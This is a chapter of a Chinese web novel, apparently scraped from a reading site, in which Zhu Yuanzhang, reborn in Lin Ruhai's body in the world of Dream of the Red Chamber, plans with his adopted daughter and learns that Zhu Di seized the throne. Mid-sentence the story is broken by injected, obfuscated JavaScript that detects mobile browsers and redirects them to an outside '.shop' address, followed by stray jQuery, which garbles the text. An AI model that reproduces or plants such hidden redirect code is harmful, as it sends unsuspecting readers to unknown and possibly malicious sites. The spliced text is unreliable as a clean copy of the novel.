“什么?朱棣登基了?”
——————————
“啊,当然了!难道还能有别人?”
朱槿玉把眼睛瞪得比朱元璋更圆,气势更足,“娘都不认识这个什么……林如海吧?”
“放屁!”朱元璋拍着大腿骂道,“你都说了咱们这是穿书!区区戏文里的一个角色,妹子——你娘,能认得他是谁?”
“是说呢。”朱槿玉嘻嘻一笑,击掌相和,“不过爹若是喜欢林如海,打算就用这个身份过,我也是不挑的,我都行。”
“放你娘的屁!大丈夫行不更名,坐不改姓,咱就叫朱元璋,咱就是朱元璋!”
朱元璋的眼风扫过朱槿玉,微微冷笑道,“你也只能,当咱的女儿。”
朱槿玉登时面上一僵,只觉得自己整个后脖子都凉飕飕的。
她忙调整好表情,拍着胸脯保证道:“那是自然。咱也不是什么一般二般的人来了,都入得了眼的。嘿嘿嘿,还得是爹您啊……”
朱元璋又盯着她瞧了一会儿,总算缓和了神色:“你知道轻重就好。系统一事,兹事体大,切不可传与第三人知。”
朱槿玉连连点头,却问:“连林黛玉都不能说吗?”
这个似熟悉似陌生的名字一出,朱元璋愣了一下才对上人。
他奇道:“你为何会想倒要说给她听?”
“这不是为了方便爹嘛。”朱槿玉不好意思地笑笑,“《红楼梦》一本书下来也不少字呢,只算前八十回也有……61万字,带标点的;不算标点是55万,也不少。”
她一边对照着光屏上的介绍,一边揉着酸痛发胀的右手,将“心有余悸”四个字夸大了十倍表现在脸上。
“这古代也没个打印机什么的,偏生系统又只有我一个人才能看见……哈,我写得慢是一方面,这……连累您老不得不面对……这一切……”
指了指朱元璋屁股底下垫着的那叠“废纸”,朱槿玉也不禁有些脸红,越说越没底气。
“我也不是故意的。毛笔我用不惯,繁体字我也写不惯。笔画一多字就容易糊成一团,有些字我稍不留神就写成简体了……嘿嘿,也难为您老能完整读下来。”
这话正戳中朱元璋的痛处,他下意识按住额头,竟当真思索了一番。
要不要让林黛玉来执笔,听写《红楼梦》?
这一荒谬念头甫一跑出,朱元璋自己先笑了。
这便宜闺女写字不行,说笑逗趣,倒还颇有些天分……
亏她想得出来!
哪儿有让人自己给自己批命的!
即便有缘窥见天机,那自然也该让咱……让咱先看一看咱的大明!
想起大明,朱元璋心口便是一闷。
唉,铁打的身子骨,也经不起这一宿的苦熬。何况还是这……病秧子林如海的身体?
他站起身,舒展着四肢走进堂屋,亲自将大门打开。
清晨的日光霎时斜淌满室,留下地上一个瘦长的轮廓。
朱元璋背着手,一步一缓踱回西次间,末了在书桌旁站定,右手撑住桌沿,食指一下下轻点在木面上,逐项排布诸般事宜。
“认义女之事,还得缓缓。今日我便派人去官府,将你放良,先改作平民身份。”
“这个世界,‘朱元璋’要如何现身,咱还得想想。你且等咱几日,把手头的人和事都理顺了,自会给你换个新的身份。”
“这几日,委屈你一下,先跟黛玉在一处,同吃同睡,一应待遇都比着她来,如何?”
“正好你也摸索一番,看这系统的机制,究竟是如何运作的。召唤的事,倒不急。”
“咱每日下衙,还到这里同你吃饭,有什么想法,尽管和咱提。”
朱槿玉一一应了,乐呵呵地想,谁说男人注定粗心干不了细致活呢?人只要想干好,愿意用心,我都不需要成为他的顶头上司,他照样能方方面面都给考虑到了。
看来老朱同志,不单能解决产生问题的人,对付问题本身,也是一把好手呢!
老朱同志接着道:“如你所言,《红楼梦》是构成此方世界存在的根基。有道是‘天机不可泄露’,与其相关联的每个字,都必得你自己抄写,不可假手于人,明白吗?”
朱槿玉悻悻地点头应是。
“也不用多好看,慢慢写,写工整了就行,咱能看懂。”朱元璋摇头苦笑,拿这懒怠之人也无甚办法,不得不特意安抚了两句。
“至于林黛玉……”
见朱槿玉一脸希冀地看来,他哼哼了两声,又道,“你的主意不错。林黛玉,就让她当你的替笔,不写《红楼》,写《明史》。大明276年都发生过什么,咱一笔一划都要看清喽!”
朱槿玉苦着脸讨价还价:“爹,你这要求不合理,嘴上说一套,手里写一套,眼睛还得分别看两套……这也太为难人了……”
看到朱槿玉讨饶,朱元璋颇感快意,这一晚,被这女娃几番言语戏弄,几经大起大落而郁结在胸的闷气,似乎都因此通畅了不少。
“不急,咱不着急。此事非可急图,汝安之。”他矜持地捻须而笑。
“《红楼梦》先写金陵十二钗,还有这林府、林如海的一切,事无巨细,都要整理妥当。”
“《明史》,就先按皇位更迭,出一版各帝王的年表大事件吧。”
“咱给你两天时间,今日、明日,明日下衙,咱回府,要见到结果。”
朱槿玉瞳孔巨震。
今天,明天?
今天已经熬到天亮了,她通宵一晚上,白天补个觉不过分吧?等她起床,林黛玉就该上床就寝了,那今天就废了。
明天又要爆肝?
爆肝便能搞定?
朱元璋付之一笑。
“至于金陵那边的事情,日后便都归你去张罗。后宅女子,咱不便插手。待你成为朱元璋名正言顺的义女,便可随林黛玉同去。好在两地离得不远,转年咱也调到金陵找你去。”
“好是好,但有一个问题。”朱槿玉终于能插上话了。
朱元璋笑问:“嗯?”
“贾家不在金陵。”朱槿玉道,“她们祖籍金陵,建国后,也就是本朝开国后,就定居京城了。”
“京城在哪儿?”朱元璋问。
“书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644772|204562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里没有明确,一律用的‘都中’、‘京都’代指,但应该是指北京。”
“北京?你是说开封?”朱元璋皱眉。
“应该不是吧?”
朱槿玉起先有些莫名,随即她脑袋中贫瘠的历史知识,难得主动翻了个身,证明自己还在。
“哦,你那个年代,北京还叫作北平。永乐元年,朱棣登基后,才将北平改称北京。”朱槿玉对照着光屏的内容,一字字念道。
“什么?朱棣登基了?”
两道同样震惊的声音,同时响起。
朱元璋与朱槿玉面面相觑,均从对方眼中看到了心神俱震的自己。
半晌,朱元璋率先开口:“咱走之前,安排得明明白白,传位于皇太孙朱允炆!允炆这小混账,究竟遇到了什么,竟想到要传位给老四?”
朱槿玉此时已从光屏上偷瞄到了这个问题的答案。她惊讶地张开了嘴,偷瞄一眼朱元璋,又默默闭上了小嘴巴。
“你知道原因了?你告诉咱!”
朱槿玉的小动作,自然瞒不过朱元璋的火眼金睛。他强压着怒意,沉声发问。
“这个问题,我觉得,还是留给朱棣自己来回答比较好……”
朱槿玉眼珠四下乱瞟,就是不看朱元璋。
“他是我亲手送去投胎的,我不想再亲手送他上路。”
“好,咱明白了。”朱元璋忽然冷笑道,“老四,抢了他侄儿的皇位。是业不是?”
“你要这样想,我也没有办法。”朱槿玉垂下眼。
罢,罢,罢!
一问一答的功夫,朱元璋已然想通了一切。
他不再言语,摆摆手背过身朝门外走去。
清早亮晶晶的晨光,打在他微弯的背脊上,令这位曾经步入过一次古稀之年,走完了他波澜壮阔一生的老人、父亲、爷爷,被激得短暂闭了闭眼。
但下一秒,他便又重新睁开了眼睛。
而小院中,四下里偷窥这边动静的仆妇们,则个个凝神屏息,只盼他的步子能再大一点,再快一点……
林老爷一步跨出院子,院中仍旧安安静静,一如昨夜。
待他复行十数步,转过弯彻底没了踪影——
“吱——砰——”
王嬷嬷房的房门率先起飞,被甩飞到墙上后,又来回弹了数下。
正当盛年的王嬷嬷大管家,一马当先,冲进正房,直奔西次间书房而去——
却在看见朱槿玉的那一刻,急刹,刹住了脚步。
她的视线,一眼便落在了被朱槿玉系在腰间的那块白玉上!
匆忙上下打量了朱槿玉几眼之后,她的眼神,仍不自觉往玉佩上粘。
“王妈妈,早上好。”朱槿玉的腿坐麻了,一瘸一拐地挪出来。
王嬷嬷回神,竟破天荒对朱槿玉躬身低头,挤出了一个非常不符合她笑面虎身份的……难看的谄笑。
“槿儿姑娘,好。来来,老奴来扶您,您慢些……”
不同于嬷嬷对丫鬟自上而下的平易近人,更像是……下位者,对上位者的殷勤。
朱槿玉:……
……